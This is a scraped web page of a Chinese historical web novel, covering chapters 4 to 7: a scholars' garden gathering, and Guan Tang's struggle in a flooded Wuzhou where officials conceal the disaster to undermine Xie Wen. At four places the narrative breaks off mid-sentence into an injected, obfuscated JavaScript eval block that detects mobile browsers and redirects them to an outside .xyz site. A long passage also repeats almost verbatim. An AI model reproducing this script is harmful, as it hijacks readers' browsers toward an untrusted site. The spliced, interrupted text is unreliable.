午后，酒过三巡，陈霖提议众人同他一道去芥园观石，也好散散酒气。 光宗在位时，曾言陈霖之父性秉正，谏言骨鲠，特赐了一块太湖石。此石形状如烟，孔窍贯通，似乎是光宗在提点其父为人要学会变通，刚则易折。若是寻常人士，恐怕要将此石藏于府中，但陈霖的父亲却为此石修葺园林，引人相看。 “攸同兄，为何此园名芥？”一位进士问。 “大家可以猜猜。”陈霖煞有介事道。 “莫非是芥字音同诰诫的诫？”一人猜道。 “非也。”陈霖摇摇头。 “我知道了！”另一人道：“佛书有言，以须弥之高广，纳芥子中，这芥便是指其中玄妙。” 陈霖笑道：“楚白兄此解甚奥，这“芥”字确实也源于佛经，不过家父所想，实在是再小不过的一件事。” 在场诸人顿时思绪翻飞，一时皆默，忽听一人道：“芥子投针。” 陈霖的笑容微凛，随后感慨道：“诸位，少行兄答对了。” 众人的目光皆望向那位身着青色暗花长衫的新科状元，他面上并无明悦的喜色，只是淡笑抬袖行了个虚礼。 陈霖见他不言释，突然说：“不过少行兄，这芥园之意，可不光你一人答对过。” 这下，就连谢闻眸中也闪过了一丝诧异。 “去年适逢小妹及笄，家母请京中闺秀观礼，宴后携她们来此地，当时，有一位姑娘也说出了芥子投针之典故。” 陈霖用此女的话解释道：芥子投针，源自《南本涅槃经》中的“如以芥子投针锋，如以蚊蚋脚蹑须弥山”，其意指世事难成，仿若将芥耔投入针孔，所耗之巨大而所收之甚微。 谢闻听了他所言，心思微动。 他能想到芥子投针，不过是以己度人，代入了陈霖之父为官几十载之所思。尤其在经历了光宗新政的失败，以及显宗时期枭獍的旧党当道后，如今陷于谏院的陈父深知，一道政令下去，又岂能朝令夕至，各中迂回曲折，辗转翻覆，实若芥子投针罢了。 陈霖用词“姑娘”，便是一位并未出嫁的闺秀。谢闻心想，此女若非侥幸蒙对，即十分深谙人心。但若能叫一个未经官场的女子将芥园、芥子投针以及庙堂之事联想至一起，他也实在难以相信。 此时，周围人纷纷好奇此女何人，追问陈霖，谢闻也不由得竖起了耳朵。 “诸位可知那观家三娘子？”陈霖讳莫如深地道。 他这么一说，在场有几个人便露出恍然大悟的神情，另有一些长在汴京之外的学子则面露疑惑。 陈霖含笑道：“总之，此女绝非一般女子。”话题就此打住。 谢闻缓步跟在继续游园的众人身后，心中却想着先前德庆同他所说，观家女或是太子妃之人选，若以她这样的家世以及心性，真的步入储闱…… 这时，他的思绪突然被陈霖打断，后者不知何时走到了他的身旁，说：“少行兄，我大兆建国以来，你是唯一一位连中三元之人，如今名动天下，该是多少岳翁心中的乘龙快婿啊！” 走在前面的吴廉听见，回首哈哈一笑，说：“攸同，你怕不是想给你妹妹说媒了吧！原来今个儿咱们都是来作配的啊！” 他说完， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891283|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众人皆笑，谢闻只好捧袂道：“楚白兄说笑了，攸同兄之妹乃京中贵女，以某之家世，实在难栖上苑。” 他们如今站在花竹秀野的芥园内，大兆文人喜赏园，芥园在汴京虽非头名，但因光宗所赏奇石，颇有时誉。 谢闻以上苑比喻陈家，陈霖虽知他有心相拒，听了也并不恼怒，只转向了吴廉，无可奈何道：“吴楚白，你真是……” 吴廉笑着快步走远了，如此便算揭过此话。 园游毕，众人往筵席所在的衔兰阁而去，经过临湖的抄手游廊，便见对岸的凉亭之下有两位姝丽女子娉婷而立，丫鬟仆妇都在亭外候着。 其中一人面朝着众人，正在投食喂鱼。她着粉纱衫裙，头绾双鬟，鬓插簪花，面若盈月，肖似陈霖，想来便是他的妹妹。另一人以背影示人，她头未戴冠，梳着垂挂髻，头系青白相错的打线彩绦，上穿鹅黄对襟衫，下身着新绿齐腰褶裙，身形纤长似柳枝拂风。 那陈霖妹妹听见动静，抬头看向众人，使得这群在殿前对答如流的进士们一时踌躇了起来，不知是该远远见礼，还是该对两位未婚女子视若无睹。 这时，陈霖嘴里咕哝了一句“胡闹”，随后引他们快步离开了廊下。 落在后面的谢闻听得鱼儿争食的水声泙泙，下意识回头看了一眼，却正巧撞见原先背对着他们的女子转过身子，正同陈霖妹妹说着什么。 他顿感失礼，回过了头。 虽然只是仓促一瞥，但仍觉女子容貌慑人，如惊鸿照影。 回到席上，众人饮酒对诗，至酣时，吴廉笑道：“攸同，你妹妹如此可人，何愁嫁不出去。” 陈霖说：“家父老年得女，将妹妹宠得无度了，大家见谅。恐怕是听说了今天要宴请诸位，她……”陈霖说到这里，抬起头看向坐在他对首的谢闻，面露一丝苦笑，并未再说下去。 这位年轻的状元郎不知，数日前新科盛典，状元巡城，他的才貌实在是捕获了不少在场观礼之人的心，他的妹妹自也在其中。 这时，有人卷着舌头道：“攸同兄，今日你妹妹身旁之人是谁？看她衣着打扮似乎并非府上之人。” 陈霖听见这话，思忖了一会儿，说：“我也未料到为何她今日在府上，不过她与小妹交往颇深，恐怕是小妹邀来的。” 以为陈霖要卖关子，提问之人撇撇嘴，起身举着酒杯，摇摇晃晃地也给他斟了杯酒。 二人杯酒下肚，陈霖吁一口气，说：“那位便是咱们在芥园中提过的，观家三娘子。” 话音刚落，突然有杯盘相碰的声音响起。 陈霖赶忙放下杯子，却见向来老成持重的新科状元谢闻从椅子上站了起来，长衫上一道水痕。 “抱歉。”男子声音暗哑。 “这有何妨。”陈霖连忙命人拿来自己的干净衣物，又令其带谢闻去厢房更衣。 谢闻跟着陈府的下人在暮色中一路前行，直至下午他经过的迤逦游廊，谢闻停了步，转眸看向湖面。 斜阳若浮光跃金，水波清荡，而湖水之上的凉亭里，空无一人。 5. 第 5 章 待谢闻返回席间，已一切如常，众人只当他不胜酒力，一人笑道：“少行兄，以后这样的场合多了去了，你可要抓紧练练你的酒量啊。” 陈霖挥了挥手，说：“别听他瞎说，少行，日后若你真入了昭文馆，便是陛下近臣，需得无偏无党，无党无偏！像今日这样的聚会，难咯！” 听到昭文馆三个字，在场尚还算清醒的人皆难掩复杂神色，望向了谢闻。 光宗在世时，并史馆、昭文馆、集贤馆为崇文院，三馆中昭文馆居首，职责为典籍校雠、御前讲史，因此一直被视作宰储之地。 以谢闻之资，得陛下亲擢，若再入昭文馆，那真可谓是一步登天，旁人毕生都难跻了。 见席间有人面色不虞，气氛凝滞，吴廉忙道：“我看啊，攸同是吃酒吃多了。咱们今日不谈政事，只把酒言欢！” 于是众人又开始传杯弄盏作乐，直到点灯时分，还听得衔兰阁四周笑闹声不歇。 陈姌送观棠离府的时候，一双圆溜溜的眼睛仍止不住地往那喧嚣处望。 观棠笑道：“今日人也见到了，可还开心？” 陈姌撇撇嘴，说：“哥哥都不带他来同我见见礼。”末了眼睛一转，说：“棠姐姐，可惜你没瞧见他，我早说让你不要背过身去，你偏不听我的。” 观棠淡笑未语，二人走到陈府的大门外，陈姌十分不舍道：“棠姐姐，你真要去延州吗？延州那么远，一来一回得得好久呢，你何时回汴京？” 观棠说：“恐怕是要费些时候。你放心，待我到了延州，第一时间就写信给你。” 陈姌依依不舍将她送上马车，扒在车窗上同她说：“说好了，一定要写信给我。” 观棠揉了揉她的发髻，说：“等我回来，同你讲发生在延州的事情。” 二人又说了会儿话，陈姌这才允马车走。 见陈姌转身进府了，青红放下车帘，笑道：“姑娘，陈家姑娘可真是个性情中人，就是不知道她回去之后会不会被责罚。” 观棠说：“她父母慈爱，父兄也都十分偏宠她，今日之事虽有些出格，但若以陪我观鱼做挡箭牌，想来最多也就被责备几句，不会有事的。” “真是说巧不巧，今日她邀姑娘来府上话别，偏赶上这样的事。”沈嬷嬷叹了口气，说：“姑娘，她性子这样跳脱，日后真不知婚配何家。” 观棠倒不甚在意，说：“姌娘的赤忱性子才是千金难求。” “我看她今日同你闲话，十句有九句都未离那新科状元。姑娘，你也该向陈家姑娘学学，对自己未来的大事上上心……”沈嬷嬷在一旁絮絮叨叨，观棠听着听着却神游起来。 午后在陈府的凉亭里，不过回首的功夫，她与那群尚未授官的选人中一人视线交错，有一瞬间，观棠觉得自己似乎曾在哪里见过这人。 是在何时，又是在哪里呢…… “姑娘，姑娘……”青红急切的声音传至耳畔，观棠从梦中抽离。 睁开眼，只见面前青红的嘴一张一合，好一会儿观棠才凝神厘清她所言：“姑娘，文四来报，说那水已经涌入城内了！” 昨日夜里，姜丕来报西江溃堤之事后，观棠虽有些骇然，还是决断道：“梧州地处三江口，常年遇水患，无论是府衙还是水军司应皆有备预。如今既已入广右，南行的大队人马也好不容易才休整歇下，我看还是不要惊动大家了。姜虞候，我建议让文四他们同你的部下轮值，若今夜发现水汛入城，即刻通知大家。” 姜丕稍加思索，点点头，又问：“那城外的车马……” 观棠暗道自己居然忘了这桩事，忙命青红磨墨，边提笔书写边道：“物件比不得人命，若真遇上事儿了，请那些车夫以及家丁弃车乘马往静江府去，有我亲笔书信，谢府知悉后也不会追责于他们。”说完又盖上了自己的小印。 她下笔飞速，等黄纸上的字迹半干便塞进竹筒，又用蜡封上，最后递给姜丕，说：“劳驾您请守城吏传信与他们。”说完又转身对青红道：“取两贯钱来。” 此地守城吏一年俸禄不过三十余贯铜钱，这两贯钱足以让他们替自己跑个腿，同时照拂一下那些歇脚在城外的车夫。姜丕边感慨着观棠的面面俱到，边将沉甸甸的两贯钱和竹筒一应装入怀中，匆忙行礼离开了。 姜丕走后，观棠累得沾枕即眠，直到此刻青红将她唤醒。 观棠从榻上坐起，心下懊恼，自己这一觉竟睡得这样沉，还梦到了旧事。只是想到这里，她伸手穿过衣袖的动作顿了顿。 难道去年在陈府水榭，她曾见到的人是谢闻？若那是她和谢闻的第一次会面，她又为何会有熟悉之感？ “姑娘，怎么办，如今还能出城吗？”青红颤着声问，见她家姑娘恍若未闻得穿好了衣服，只剩一个绦带未系，便伸手替她束好。 观棠回过神，将手搭在了腰间青红的手上，只觉她手凉如冰，沉声安慰道：“青红，凡事莫急，总会有办法的。即便咱们现下出不去梧州城，那衙城傍山而建，地势高于罗城，我们多少可去衙城避一避。你现在去同文四说，让他去请姜虞候来商议一下。” 青红离开房间后，趁钟嬷嬷等人还未来，观棠快步走到窗边，推开了窗扇。 迎面而来一股浓厚的土腥味，令人有些不适。观棠掩住口鼻，往外望去。昨夜她乘马车而来，并不知晓下榻的客栈在何处。 此时天色未曦，雨势稍缓，但面前的一切好似被罩上了一层灰黄的绢布。看着远处决堤了的郁江江水湍流，原本临江的码头已寻不着踪迹，观棠大致知晓了自己此刻所在位置。 梧州罗城以衙城的镇南门为轴心向外延展，整座城呈东西向盘绕在郁江北岸。通往镇南门的十镐街上商贾林立，百货聚集，是最为繁华之地。她所居客栈应当位于十镐街东侧，地势居高，因此能遥看郁江。 观棠正思索着是即刻动身往衙城去，还是暂时守住客栈这处高地，钟嬷嬷等人梳洗好来寻她了。 便是如钟嬷嬷这般循规蹈矩之人，听说决堤淹城一事，面上也难掩慌乱。 “夫人，要不趁水势不高，我们赶紧出城吧。”她说。 观棠不是没有想过她的提议，却见面前大小丫鬟仆妇五人，其中最小的丫鬟核桃才十三岁，正踌躇不安地站在那儿搓着衣袖。观棠想，她们皆为弱质女流，江水漫涨，影响的肯定不止梧州这一路，若真出了城，路上遇到山崩水出，恐难保众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891284|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人平安。 于是她摇头说：“钟嬷嬷，你去请客栈的掌柜来，我有些事想问问他，也请他准备些吃食送过来。” 钟嬷嬷应声而去。她刚走没多久，青红便带着文四以及姜丕来了，小小的屋子一下子堆满了人，观棠对稍长的林嬷嬷说：“林嬷嬷，你们去隔间候着吧，将东西收拾好，也许我们随时会动身。” 林嬷嬷带着丫鬟们走了，观棠请文四和姜丕坐下，说：“我请了客栈掌柜来，他是土人，此地常年水患，我想先请他判断一下局势再行定夺。” 观棠的判断确实没错，客栈掌柜年逾四十，本地生人，因常年待人接客，张口也是流利的官话。他躬着身说：“安抚使夫人，这梧州城每年夏天总有这么一遭，您不用担心。” 观棠问：“罗城城内有多少人？” 掌柜思索了一会儿，说：“罗城内百姓千户，另有羁縻州贾以及未在官府上户的俚僚等，加起来或有万人。” 上万人……若水淹四分之一座城，便要有上千人流离。 观棠又问：“郁江决堤每年皆有？” 掌柜似难以作答，顿了顿首，开口说：“这也是没有办法的事。不知夫人是否知晓，梧州以东有一座泥沙淤堵形成的沙洲，名为系龙洲。此州横截郁江江心，激水成涡，郁江只要涨水，被系龙洲这么一挤，水势更加湍急，冲垮堤坝也是寻常事。” “掌柜的恐怕不知，我父乃京中河堤使，江流水利之事我略为知晓。沙洲激水，疏理便是，断不会是这连年壅城之根因，你所说怕只是他人的搪塞之言。”观棠冷声道。 方才边听掌柜所言，她心中边想，梧州无论大小年皆有水患，说明州府治理不当，但如此，能连年向朝廷上报领赈灾粮钱……只不过没有证据的事情，她不会随便宣之于口。 观棠心中有疑，语气不免显得有些居傲。那客栈掌柜年纪长于她，被这么这么一说，满面涨红，下意识想反驳几句，遂抬起头去看观棠，迎面却撞上坐在一旁怒目圆睁的姜丕，吓得缩了缩脖子，往后退了一步。 见他这般，观棠声音和缓下来，说：“往年涨水时，州府都是如何处置的？” “若遇寻常漫水，则命百姓在城内待水退去，低岸受灾之户可入衙城暂避，同时征壮年民夫以及江上蜑民的舟船去郁江塞决。” 这与观棠所想无出，她又问：“那若是逢大水呢？” “那官衙则会击鼓鸣锣，这意味着大家都要往白云山去避难了。”掌柜的说到这里，拱拱手道：“夫人且宽心，往年便是淹水了，也未及衙城。我这客栈毗邻衙城城墙，应是无事。” 掌柜既如此说，观棠与众人商议一二，决定留在客栈暂缓，且看形势。 众人用过早饭，姜丕派手下章朔去打听州府动向，过了不到一个时辰，派去打探消息的侍卫回来了，脸色却极为晦暗。 “怎么？”姜丕问。 章朔抬眼看了一眼观棠，似在斟酌是否该当着她的面说。姜丕看了一眼坐在一旁的沉静女子，说：“但说无妨。” “那徐知州守在溃坝之处，令兵卒用绳相捆，系在合龙门上……” 他话还未说完，观棠便腾地站了起来。 6. 第 6 章 姜丕见观棠眼神微烁，迟疑道：“谢夫人可还好？” 观棠闭了闭眼，随后深吸了一口气，说：“诸位可知何为合龙门？” 除了方才亲临现场的章朔，在场几人皆摇头。 “合龙门不过是个雅称，更为贴切的名字应该是——水鬼桩。”说到最后三个字，几乎是咬牙念出。 她说完，屋内顷刻间静了下来。 窗外雨声未歇，淅淅索索，好似无时无刻不在啃噬着桑叶的蚕。众人只觉空气仿佛凝滞了一般，青红和钟嬷嬷相视一眼，悚然地看向站在屋中央的观棠。 “溃坝久不合，便先沉闭水龙骨。这龙骨由木架构成，可在坝底起阻拦泥沙的效果，随后命兵卒腰系牛筋索怀抱木桩，排成纵队往决口处走。”女子声如霜浸，“若水势和缓，他们能脚踩龙骨，再将木桩钉在溃流的河床之上，但这种情况极少。大部分时候，兵卒们只能逐一跃入水中，脚踩在前人的木桩之上……待水褪去，便只剩怀抱木桩溺死的尸骸。取生人骨血为桩，是为水鬼桩。” “这不是草菅人命吗！”姜丕又惊又怒。 观棠缓缓摇头，说：“这是记载在河工手册里的方法，只不过姜虞候常居四京丰饶之地，未曾听闻罢了。去年滑州水患，河南府采用的便是沉粮袋止水之法。但如梧州这般，逢水灾便断水道，三年前桂江发水，本地斗米千钱，一石米起码需要一万文，且有价无市，反观溺死的水工及兵卒只用恤三十贯……” 她话未说尽，听者却也品出其意。 在广南西路这样的贫瘠地，一条人命或许连一石白米都比不上。 众人想到这里，皆有种凄惶感萦绕于心。 屋内一片沉寂，落针可闻。 观棠行至窗畔，抬目远眺。她曾在书上看见此苍梧之城“城堞连云，胡商列肆”，聚西南诸蕃货，岁比扬州。当时，她不知是怎样的繁华景象，毕竟广右偏远，非轺传不能抵达。 如今当她真的站在此地，见四野化为陂湖，又听说合龙门之事，心中不免有些愤然和哀伤，却听身后姜丕与章朔低声说了几句，随后上前道：“夫人，我观此地差役、衙蠹猬集。昨夜您遣我去送信，那守城吏既知我是京中人士，收起办银来居然无所顾忌。如此情景，大多是上行下效。因此我特意遣章朔去探城中烽台有没有点燃，章朔说许是被雨势扑灭，又或是从未点燃，总之他未见烽火，连问数人，也无人知。我想……这徐知州若有心瞒报水患，恐酿大祸。” 观棠听完他所言，顿觉懊恼。漏刻似流水无歇，此刻的她应全神贯注带众人脱离困境，而非在此伤春悲秋。 她略思一二，说：“姜虞候，我记得府志上载，梧州有三处烽燧。一处在城西桂江河畔的水则碑，由水文吏看管，此烽火点燃则求援上游，但如今江水漫城，水则碑的烽台恐怕早已被淹。还有一处烽火在衙城内，由州府司理参军负责，我想请您携您的部下速去衙城命他们点燃烽火。” 姜丕听她所言似还有所隐瞒，站在原地扶剑道：“夫人，圣上令我不能轻易离您左右。” 观棠道：“你是京中虞候，若你不去，那司理参军绝不会听命行事。趁徐知州等人此刻在郁江畔，即便是闯进去、杀进去，你也要点燃烽燧，明白吗？” 姜丕凝神望了观棠一会儿，见她眼神决绝，开口道：“夫人，您说有三处，还有一处呢？” 女子沉吟片刻，道：“最后一处在罗城东面的兵马营，我准备以经略安抚使夫人的身份前去，请兵马都监派人至上下游求援，并告知灾情。” “我随您去兵马营。”姜丕快速道。 “不，姜虞候，您此去衙城，除了迫司理参军点火，还要让他鸣锣令罗城百姓速往衙城避难，亦或是往白云山上去。” 见姜丕面色仍在犹疑，观棠厉声道：“姜虞候，你是陛下的御前侍卫。天子若为民之天，兵则为民之护，若连一城之民都无法保全，何颜以对天子？” 听完她所说，姜丕只觉无法辩驳，心中哀叹。默了片刻，他只好沉重地点了点头。 几刻钟后，观棠换了男装，携伯父观闳派到她身边的文四、薛虎二人一同往兵马营而去，留了两个年纪稍幼的在客栈守着青红的等人。 临行前，观棠命青红她们换好便利衣物，收拾好包袱，见水势不对，即刻往衙城而去。 “姑娘，”青红颤着声拉着她的手，说：“我想同你一道。” 观棠摇了摇头，说：“这一路不可控太多，即便是文四、薛虎二人也无法保证我的安危，更何况再加个你。” 青红忍着泪意，帮观棠梳好了头发。 三人一路疾行，文四身形魁梧，在前开路。此时，不少庐舍漂没之人扶老携幼得往衙城而去，身边孩童哭嚎声不绝于耳，令人动容。 观棠强忍着鼻尖酸涩，反复劝说自己沉住气。 自从姜丕告知她烽火一事，她便在心中思索：徐知州不燃烽火，则意味着整个梧州州府不仅放弃求援，甚至还想将灾情瞒下。 为何要这样做？ 大兆对各州县官员有着严格的考核标准，连年灾报则不利考课，徐知州等人若因此瞒下灾情，观棠尚可理解。但听客栈掌柜所言，梧州大小灾年皆有上报朝廷，如此便走不通此缘由。 那么为何年年皆呈，今年却突然匿报呢？ 观棠想，唯一的变数便是谢闻。 两个多月前，他来到了此地。 身为广南西路经略安抚使，谢闻能征调禁军，三司之内，漕司和宪司受其桎梏，只有监司可直奏官家，暗中督查谢闻。如此大的权力，他还兼领了提举常平司，一举扼住了整个广南西路的官粮。 无论徐知州背后的人是漕司还是宪司，亦或是京中那些贵人，他们想要的，恐怕是让灾情来得大些，再大一些。 况且，水灾洪涝不光影响梧州一处，本州上下游，自柳州到象州，这些地方皆为广南西路的税贡重镇。光宗时期，广南西路土官兵变，直至显宗时期才算平息。本地兵民修养数年，突逢此灾，万灶皆沉，直至饿殍遍野、鬻妻卖子之境，恐怕俚僚又将趁机作乱。至若那时，谢闻面临的便是愆期救灾，治 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891285|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郡不力，以及戍兵哗变。 即便他见招拆招，一一化解，大灾之后必是大疫。无论是饥疫还是病疫，谢闻必将开常平粮仓赈济。 观棠记得书上曾载，本路的土稻九月熟，若遇雨涝便会颗粒无收。如今恰是七月末，意味着接下来一年多的时间里，常平仓尽空，谢闻这个提举常平司需四处筹措，借粮填仓。然大兆粮田多由世族所控，谢闻又能从谁手中调运粮草呢？ 待来年常平仓不见稻黍，兼司一本参上，谢闻便会被罢官。 即便手握重兵，在此节骨眼上想强推稻改，逢广南西路大半田庐尽成泽国，他也无从下手。 观棠想，于那些世家大族而言，恐怕是天时地利人和的一步棋局，得多少谋士深夜笑谈。 至兵马营的这一路上，她亲见百十为群、茫然无措逃难的百姓，又想到那些为救百姓投入洪水中化为人桩的兵卒。 这些人有妻有儿，有父有母，唯愿方塘一亩，箐筿千竿。 然而，为了满足京中豪右的私欲和权斗，他们便要失去性命，妻儿也只能流离失所。 即便是脚踩万里阡陌，这些世禄之族仍贪利如蝇。 什么是天灾，什么又是人祸？ 望着兵马营高高的木栅栏围墙，观棠随手抹去脸上雨痕。 三人一路行至此，为赶时间皆未打伞，此刻浑身尽湿，十分狼狈。 文四走上前，将文牒递给了兵卒，直言要见兵马都监。 那兵卒见他气势汹汹，看了一眼手中文牒，目光惊诧，随后很快转身入营。 三人在兵马营外等了许久，两位着劲装之人才从里面走出来，观棠很快通过二人着装认出其中一位乃兵马营都头，另一人只是小卒。 她心中不由揣度起兵马营都监之用意。 经略安抚使无品级，乃寄禄官职，谢闻从前任昭文馆学士，官至从三品，她将这经略安抚使家眷的名帖递入了都监帐中，此人怎么着都应该派一位副指挥使品级的人来接她。 文四曾入军营，见来人如此，面色森冷道：“都头如何称呼？” 那都头似有些哂然，拱了拱手道：“在下袁及南，见过诸位及经略使夫人。” 观棠并不出声，文四见状道：“经略使夫人有要事要见都监大人。” 袁及南头也未抬道：“实属不巧，这几日都监大人并不在营中。俚僚闹事，都监率兵前去羁縻州平乱了。” 还未及文四回头，便听见身后女子的声音如一枚冷箭穿透雨幕：“不见都监大人也无妨，指挥使大人呢？” “指挥使大人也随都监南下了。” 观棠听到这里，知那设局之人做戏做了个足，气极反笑道：“梧州罗城此刻水势滔天，几乎半城被淹，兵马营的烽燧为何不燃？” 袁及南抬起头远远瞥了观棠一眼，只觉这位经略使夫人气势迫人，但还是不改颜色道：“兵马营的烽燧只有知州及都监大人能够下令点燃。” 观棠正待说什么，突听身后马蹄声铮铮，一时之间似破土碎石，连大地都为之震荡。 7.第 7 章 薛潜是在学生的手稿册子里看见那首诗的。 他心底清楚，自己不该随意翻看闺阁之物，但他知道这个学生月前随兄长南下扬州，将广陵书院课堂上的策论皆誊录在了册中。他曾参加科考，带着一丝难以言说的不屑和隐隐的好奇，薛潜翻开了那本册子。 学生的字写得很好，一手王献之小楷精妙极了。 堂前诗数十首，偏偏只这首短短一句，惹人瞩目。 于他而言，这十个字像是从白绫下突然伸出来一只手，一把将他从命运的泥沼中拖了出去。 在学生发现之前，薛潜将诗在心中记下，当晚回到家默了一遍，并仔仔细细写下了释义，呈递了上去。最终，他以这首诗作投名状，成功进入了时任左司郎中王晸的麾下。 只是时不时地，他还是会想起那个学生。她不是他唯一的学生，但却是最特殊的。他总觉得她很像自己，聪慧过人，奈何身为女子，终其一生只能困于后宅，就像他，满腹经纶，最终也不过是个无法现于人前的幕客罢了。 第二日，远天还挂着弦月，薛潜离开了胡音儿的卧榻。经过院子的时候，仿佛从廊庑之下突然钻出来一只精怪，他撞见了昨日方都知要他相看的那个女孩。 她面上没有扑妆，白净若荷尖初绽，似是故人。薛潜些微晃神，随后开口道：“今年多大了？” 女孩子身子如荷房迎风，微微发颤，她低下头说：“回官人的话，小女今年十三。” 薛潜不再言语，转身离开雅舍。到了门口，还是那个轿夫，已经困得迷了眼，看到他的时候强打精神起身问：“薛郎君要回宅子还是王相公府？” 他言明回宅子，上了轿子后，依稀听见巷陌里传出报晓声：“五更已到，天色晴明，各宜起身……” 薛潜手撑着头阖上眼，心中想，十三岁，倒是与她那时年岁相仿。 可惜了，这个改写了他命运的人，如今却要被他送往死路。 * * * 梧州罗城地势西低东高，郁江畔的临江门几乎难寻城垛，观棠昨夜由广渠门进的城，此门朝东，因马面所围瓮城似一个蓄水池，受水汛影响，城墙之下的门洞虽被淹过半，尚能过船。 这是文四与栾慧前去打探后带回的消息。 观棠听他们说完，庆幸昨夜在姜丕的提醒下命那些车夫弃车离开此地，又担心他们这一路是否能平安到达静江府。 文四道：“夫人，沿广渠门东出三十里左右便是巡检司所设的戎墟水寨，此刻江水湍急，若乘船，一个时辰左右便能到达。” “乘船？”观棠疑惑道。 “此地蜑民居于舟船之上，方才我和文四在广渠门看了许久，还有不少蜑民正在送城外遭难的灾民进城。他们所驱之舟为竹篷小艇，十分小巧，能通城门。”栾慧幼时曾随杂班四处走南闯北，见多识广，观棠闻言点了点头，又问：“城门可有官兵阻拦百姓出入？” “广渠门有官兵驻守，目前没有阻灾民入城，能出城之人也只能靠蜑民舟渡。” 观棠想，徐知州此刻尚未封城，但他既用了合龙门的法子，水势肯定难以控制，郁水横决、外郭皆没只是时间问题。姜丕带队离开一刻有余，仍未听衙城锣鼓声起，恐怕他还在与那通判周旋。 思索间，文四低声道：“夫人，我还探听清楚了，知州确实没有点烽火。” 钟嬷嬷大惊失色，说：“那徐知州真不是个东西，夫人，他这么做是不是就是想把灾情瞒下！” 观棠并未立刻发话，栾慧道：“梧州下游那么多州城，上游来汛不及时传报，岂不是更加扩大了灾情？他为何要这样做？” 观棠道：“大兆对各州县官员有严格的考核标准，连年灾报则不利考课，徐知州等人若因此瞒下灾情，尚可理解。但我方才听客栈掌柜所言，梧州大小灾年皆有上报朝廷，如此便走不通此缘由。” 文四疑道：“所以这个徐知州年年皆呈，偏偏今年匿报？这又是为何？” 观棠沉吟了半晌，说：“我想，其中唯一变数，恐怕是谢闻。” 屋内之人乍听谢闻大名，交换了一下眼神，不敢发话置喙未来的家主。观棠没有觉察到众人心中所想，只是陷入沉思。 她方才说徐知州瞒报灾情是因为谢闻，虽有揣度之意，但她相信自己的判断。 谢闻身为广南西路经略安抚使，能征调禁军，三司之内，漕司和宪司受其桎梏，只有监司可直奏官家，暗中督查谢闻。如此大的权力，他还兼领了提举常平司，控扼整个广南西路的漕粮。 无论徐知州背后的人是漕司还是宪司，亦或是京中那些贵人，他们想要的，恐怕都是让灾情来得大些，再大一些，直至饿殍遍野、鬻妻卖子之境。 至若那时，谢闻面临的便是赈务稽迟，治郡不力。即便他驰援尚算及时，大灾之后必是大疫，到时候，需开常平仓放粮。灾情愈大，所耗愈多。 观棠记得书上载，本路的土稻九月熟，遇雨涝便会颗粒无收。如今恰是收稻前的最后一个月，徐知州等人不控水汛，意令下游田庐尽成泽国，秋无遗穗。 今年无粮，赈济后常平仓又被掏空，接下来一年多的时间里，谢闻这位常平司只能四处筹措，借粮填仓。然大兆粮田多由世族所控，他又能从谁手中调运粮草呢？待来年常平仓不见一粒米，兼司一本参上，这位经略安抚使的罪行便又添一桩。 除此以外，谢闻是领了新帝稻改政令来的，此灾过后，莫说是推行稻改，单单安置流民这一项事务，便能磋磨他许久。 观棠想到这里，心中暗讥，设局之人为了对付谢闻，竟连这样伤天害理的法子都用上了，愈发说明谢闻于新政、新党都十分重要。她转念想，即便徐知州不求援静江府，郁江沿途各州或许也已遭灾，唯愿谢闻能通过这些窥探到梧州之变。 想到这里，观棠突然面上一凛，暗骂自己愚钝。 布局之人下了这么大的功夫，不惜将梧州及好几个州县都放置在那阻拦新政的天秤上，若她是其人，自然还要再走一步棋，逼得谢闻此刻投身他处，无暇顾及其余地界发生之事。 仿若一缸冷水兜头而下，观棠意识到，徐知州没有封城，是因为此地恐怕已成死地。 见观棠神色不明，半晌都没有出声，钟嬷嬷诺诺道：“夫人，还是等姑爷来救咱们吧。” 观棠方才想了一圈，此刻正心乱如麻，听见钟嬷嬷的话，又好气又好笑地说：“等什么等，等旁人来收尸吗？” 钟嬷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908128|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 